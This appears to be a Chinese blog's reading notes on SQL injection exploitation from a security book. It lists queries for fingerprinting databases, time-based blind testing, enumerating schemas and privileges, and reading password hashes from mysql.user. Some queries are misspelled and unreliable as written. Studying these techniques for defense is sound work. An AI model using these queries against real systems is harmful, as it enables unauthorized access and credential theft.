zoukankan      html  css  js  c++  java
  • SQL注入攻击与防御第二版读书笔记——利用SQL注入

    获取标志信息

    mysql select version(),select @@version

    mssql select @@version,@@servername,@@language,@@spid

    postgre select version()

    盲跟踪

    从字符串推断数据库

    mysql select 'so'   'me'

    mssql select 'so'+'me'

    oracle select 'so'||'me'

    postgre select 'so'||'me'

    从数字推断数据库

    mysql raw_count(0

    mssql @@rawcount

    使用数据库“方言”推断数据库

    mysql select 1 /*! + 1 */

    使用union语句提取数据

    order by确定列数

    强制转换为字符串

    mssql select cast('123' as varchar)

    mysql select cast('123' as char)

    使用条件语句

    mssql if('a'='a') select 1 else select 2

    mysql select if('a',1,2)

    基于时间

    mssql if(system_user = 'sa') waitfor delay '0:0:5' --

    mysql select benchmark(1000000,sha1('hello')) 

    如果mysql 版本在5.0.12以上

    select sleep(5) 

    case语句

    case when sth then sth else sth end

    枚举数据库模式

    获取所有数据库 select schema_name from information_shcema.shcemata;

    提取一个数据库中所有表 select table_schema,table_name from information_schema.tables where table_schema='db';

    如果想获取所有表 只需省略where子句  select table_schema,table_name from information_schema.tables where table_schema !='mysql' and table_schema != 'information_schema';

    select table_schema,table_name,column_name from information_schema.columns where table_schema != 'mysql' and table_schema != 'information_schema';

    获取用户权限
     select grantee,privilege_type,is_grantable from information_schema.user_privileges;

    窃取哈希口令

    select user,password from mysql.user

  • 相关阅读:
    Wooden Sticks(hdu1051)
    Leftmost Digit(hdu1060)(数学题)
    Sum of Remainders(数学题)
    Brain Network (medium)(DFS)
    Brain Network (easy)(并查集水题)
    Collective Mindsets (medium) (逻辑题)
    Collective Mindsets (easy)(逻辑题)
    RMQ with Shifts(线段树)
    Throwing Dice(概率dp)
    圆桌会议
  • 原文地址:https://www.cnblogs.com/yiruhua/p/5855192.html
Copyright © 2011-2022 走看看